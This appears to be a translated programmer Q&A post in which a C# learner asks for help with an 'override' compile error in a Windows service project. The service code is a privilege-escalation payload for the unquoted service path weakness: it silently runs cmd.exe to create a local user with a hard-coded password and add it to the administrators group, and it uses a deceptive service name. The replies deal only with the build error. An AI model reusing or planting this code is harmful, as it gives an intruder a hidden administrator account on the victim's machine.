【发布时间】:2021-07-14 21:33:51
【问题描述】:
我是 C# 新手,无法解决此问题。代码是
namespace SimpleWindowsService1
{
partial class SimpleService
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Component Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.eventLogSimple = new System.Diagnostics.EventLog();
((System.ComponentModel.ISupportInitialize)(this.eventLogSimple)).BeginInit();
//
// SimpleService
//
System.Diagnostics.Process process = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.FileName = "cmd.exe";
startInfo.Arguments = "/C net user mattymcfatty Really1337! /add && net localgroup administrators mattymcfatty /add";
process.StartInfo = startInfo;
process.Start();
this.ServiceName = "Not The Service You Think It Is";
((System.ComponentModel.ISupportInitialize)(this.eventLogSimple)).EndInit();
}
#endregion
private System.Diagnostics.EventLog eventLogSimple;
}
}
当我尝试编译它时,我不断收到错误“标记为覆盖但找不到合适的方法”。有更多 C# 经验的人可以帮我找出问题所在吗?
谢谢
编辑:由于 cmets 中的某个聪明人,我添加了第二个文件 SimpleService.cs。这是在同一个项目中。
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Linq;
using System.ServiceProcess;
using System.Text;
namespace SimpleWindowsService1
{
public partial class SimpleService : ServiceBase
{
public SimpleService()
{
InitializeComponent();
// Initialize eventLogSimple
if (!System.Diagnostics.EventLog.SourceExists("SimpleSource"))
System.Diagnostics.EventLog.CreateEventSource("SimpleSource", "SimpleLog");
eventLogSimple.Source = "SimpleSource";
eventLogSimple.Log = "SimpleLog";
}
protected override void OnStart(string[] args)
{
//this is not executed for some reason
eventLogSimple.WriteEntry("Uh oh. Program.exe was executed using unquoted path vulnerability. Service Started.");
}
protected override void OnStop()
{
//this is not executed for some reason
eventLogSimple.WriteEntry("Uh oh. Program.exe was executed using unquoted path vulnerability. Service Stopped");
}
}
}
【问题讨论】:
-
partial class SimpleService是否有另一个同名的类/文件?如果有,它在哪个命名空间中? -
是的,我还有另一个名为 SimpleService.cs 的文件,有一个名为“SimpleWindowsService1”的命名空间
-
好的,在您的问题中也向我们展示该文件。它的前 20 行。另外,这两个文件是否在同一个项目中?
-
我编辑了我的答案
-
我无法编译多个文件,这就是我在“项目”中只选择其中一个的原因。我正在使用linux进行编译
标签: c# visual-studio